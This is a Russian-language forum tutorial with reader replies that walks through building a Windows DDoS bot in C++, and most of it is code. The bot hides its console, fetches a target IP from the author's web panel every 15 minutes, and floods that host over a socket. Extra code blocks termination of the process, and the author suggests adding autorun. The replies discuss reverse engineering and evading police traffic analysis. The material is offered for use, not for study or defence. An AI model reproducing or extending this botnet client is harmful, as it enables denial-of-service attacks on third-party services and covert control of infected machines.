ИСКЛЮЧИТЕЛЬНО ДЛЯ ТЕХ, КТО ИЗУЧИЛ C++ ХОТЯ БЫ НАПОЛОВИНУ. Всем приветос, сегодня будем писать ddos бота на C++. Программы, которые понадобятся (Которые я использовал): Visual Studio 2015 На этом всё. Создаете новый проект, назовем его ddosguide. Ставим такие настройки: ( https://ibb.co/jODSdA ) Создаем .cpp файл с именем Main.cpp Напишите первоначальный код: #include <Windows.h> using namespace std; int main(){ return 0; } Code #include <Windows.h> using namespace std; int main(){ return 0; } Компилируем. Далее идем в свойства проекта: Project -> [имя проекта] properties. Или жмем Alt + F7. Configuration: all Linker -> Input -> Additional Dependencies Добавляем две статические либы: Wininet.lib ws2_32.lib Code Wininet.lib ws2_32.lib Первая для HINTERNET Вторая для сокетов ( https://ibb.co/f53kyA ) Жмете Ок -> Применить -> Ок. Настройка проекта прошла успешно. Пишем код: Присоединим заголовочные файлы, который нам понадобятся: #include <Windows.h> #include <WinInet.h> //Hinternet #include <atlstr.h> // Семейство CString #include <thread> // Многопоточность Code #include <Windows.h> #include <WinInet.h> //Hinternet #include <atlstr.h> // Семейство CString #include <thread> // Многопоточность Создадим два буфера, первый будет наш основной, для хранения IP, а второй для работы с ним. char buffer[2048]; //Хранение IP CStringA another_buffer; bool isddos = false; Code char buffer[2048]; //Хранение IP CStringA another_buffer; bool isddos = false; Сразу же инициализируем наш сокет: SOCKET s = INVALID_SOCKET; Code SOCKET s = INVALID_SOCKET; По поводу переменных все. Перейдем к функциям. Первая наша функция будет проверять IP адрес атакуемой цели. DWORD bytesRead; while (true) { isddos = false; HINTERNET hOpen = ::InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0); //Открываем интернет соединение. HINTERNET hOpenUrl = ::InternetOpenUrl(hOpen, TEXT("тут ссылка на ваш сайт/ip.php"), 0, 0, 0, 0); //В IP.php должен быть ТОЛЬКО IP. // Иначе будет мусор InternetReadFile(hOpenUrl, buffer, (DWORD)2048, &bytesRead); // Читаем и записываем страницу buffer[bytesRead] = 0; //Убираем лишние. another_buffer = buffer; isddos = true; Sleep(900000); } Code DWORD bytesRead; while (true) { isddos = false; HINTERNET hOpen = ::InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0); //Открываем интернет соединение. HINTERNET hOpenUrl = ::InternetOpenUrl(hOpen, TEXT("тут ссылка на ваш сайт/ip.php"), 0, 0, 0, 0); //В IP.php должен быть ТОЛЬКО IP. // Иначе будет мусор InternetReadFile(hOpenUrl, buffer, (DWORD)2048, &bytesRead); // Читаем и записываем страницу buffer[bytesRead] = 0; //Убираем лишние. another_buffer = buffer; isddos = true; Sleep(900000); } Что такое 900000 ? Число. Это 15 минут в миллисекундах. Именно раз в 15 минут мы будем опрашивать нашу аля веб панель на IP адрес. Далее перейдем к подготовке нашего сокета и WSA. void SetUp() { WSADATA wd; //Структура для WSA if (WSAStartup(MAKEWORD(2, 2), &wd) == 0) { s = socket(AF_INET, SOCK_STREAM, 0); // Реализуем сокет hostent* host; // Структура для IP host = gethostbyname(another_buffer.GetString()); SOCKADDR_IN sin; sin.sin_family = AF_INET; sin.sin_addr.S_un.S_addr = *((unsigned long*)host->h_addr); //Записываем IP. /* Если вам нужно ddosить конкретный IP, то можете обойтись без структуры hostent. Сделайте вот так: sin.sin_addr.S_un.S_un_b.s_b1 = 127; sin.sin_addr.S_un.S_un_b.s_b2 = 0; sin.sin_addr.S_un.S_un_b.s_b3 = 0; sin.sin_addr.S_un.S_un_b.s_b4 = 0; */ sin.sin_port = htons(80); if (connect(s, (sockaddr*)&sin, sizeof(sin)) == 0) { SendReq(s, "DDOS testing tool"); //Вызываем нашу функцию отправки пакетов. Кстати её пишите до SetUp() } } } Code void SetUp() { WSADATA wd; //Структура для WSA if (WSAStartup(MAKEWORD(2, 2), &wd) == 0) { s = socket(AF_INET, SOCK_STREAM, 0); // Реализуем сокет hostent* host; // Структура для IP host = gethostbyname(another_buffer.GetString()); SOCKADDR_IN sin; sin.sin_family = AF_INET; sin.sin_addr.S_un.S_addr = *((unsigned long*)host->h_addr); //Записываем IP. /* Если вам нужно ddosить конкретный IP, то можете обойтись без структуры hostent. Сделайте вот так: sin.sin_addr.S_un.S_un_b.s_b1 = 127; sin.sin_addr.S_un.S_un_b.s_b2 = 0; sin.sin_addr.S_un.S_un_b.s_b3 = 0; sin.sin_addr.S_un.S_un_b.s_b4 = 0; */ sin.sin_port = htons(80); if (connect(s, (sockaddr*)&sin, sizeof(sin)) == 0) { SendReq(s, "DDOS testing tool"); //Вызываем нашу функцию отправки пакетов. Кстати её пишите до SetUp() } } } Тут думаю все понятно. Теперь перейдем к отправке запросов. void SendReq(SOCKET so, CStringA buffer1) { while (isddos) { send(so, buffer1.GetString(), buffer1.GetLength(), 0); //Отправляем } } Code void SendReq(SOCKET so, CStringA buffer1) { while (isddos) { send(so, buffer1.GetString(), buffer1.GetLength(), 0); //Отправляем } } Кстати, если вас так не устраивает, то можете отправлять запросы при помощи HttpSendRequest из wininet https://stackoverflow.com/questions/10106816/how-to-contruct-httpsendrequest-method-of-wininet вот там примерчик (надеюсь это не посчитают за форум конкурент ) Ну а теперь фукнция int main() int main() { HWND hWnd = GetConsoleWindow(); ShowWindow(hWnd, SW_HIDE); //Убираем консоль thread check_th(check); //Запускаем в отдельном потоке функцию, которая сканирует наш файл на хостинге SetUp(); //Запускаем return 0; } Code int main() { HWND hWnd = GetConsoleWindow(); ShowWindow(hWnd, SW_HIDE); //Убираем консоль thread check_th(check); //Запускаем в отдельном потоке функцию, которая сканирует наш файл на хостинге SetUp(); //Запускаем return 0; } Далее вы сами сделаете авторан и заблокируете возможность закрытие процесса, она кстати делается вот так: BOOL DenyAccess() { HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId()); SECURITY_ATTRIBUTES sa; TCHAR * szSD = TEXT("D:P"); TEXT("(D;OICI;GA;;;BG)"); TEXT("(D;OICI;GA;;;AN)"); sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.bInheritHandle = FALSE; if (!ConvertStringSecurityDescriptorToSecurityDescriptor(szSD, SDDL_REVISION_1, &(sa.lpSecurityDescriptor), NULL)) return FALSE; if (!SetKernelObjectSecurity(hProcess, DACL_SECURITY_INFORMATION, sa.lpSecurityDescriptor)) return FALSE; return TRUE; } Code BOOL DenyAccess() { HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId()); SECURITY_ATTRIBUTES sa; TCHAR * szSD = TEXT("D:P"); TEXT("(D;OICI;GA;;;BG)"); TEXT("(D;OICI;GA;;;AN)"); sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.bInheritHandle = FALSE; if (!ConvertStringSecurityDescriptorToSecurityDescriptor(szSD, SDDL_REVISION_1, &(sa.lpSecurityDescriptor), NULL)) return FALSE; if (!SetKernelObjectSecurity(hProcess, DACL_SECURITY_INFORMATION, sa.lpSecurityDescriptor)) return FALSE; return TRUE; } Полный исход: https://yadi.sk/d/YiZl4KZtKjxI1w Всем спасибо за внимание. #МояСтатья #ДайтеАвторкуПожалуйста))) RaysMorgan
нет. Тк не сейчас хостинга у меня без рекламы на каждой стр. Ну я подкинул идею, и половину реализации. Сам потестишь с ваершарком
Насчет ревёрса не знаю. Вроде как реверсят и крупные проекты, особенно люди, которые делают читы. Декомпилировать его точно нельзя. Только дизассемблер.
Вот хз, типо если полиция, то воспользуются интернет фильтром, типо httpanalyzer. А так можно и на шарпе было написать.
Checkerchin, http://prntscr.com/lafr1z пишет not packed http://prntscr.com/lafrbl , если ничем не накрыт - то как посмотреть код c++?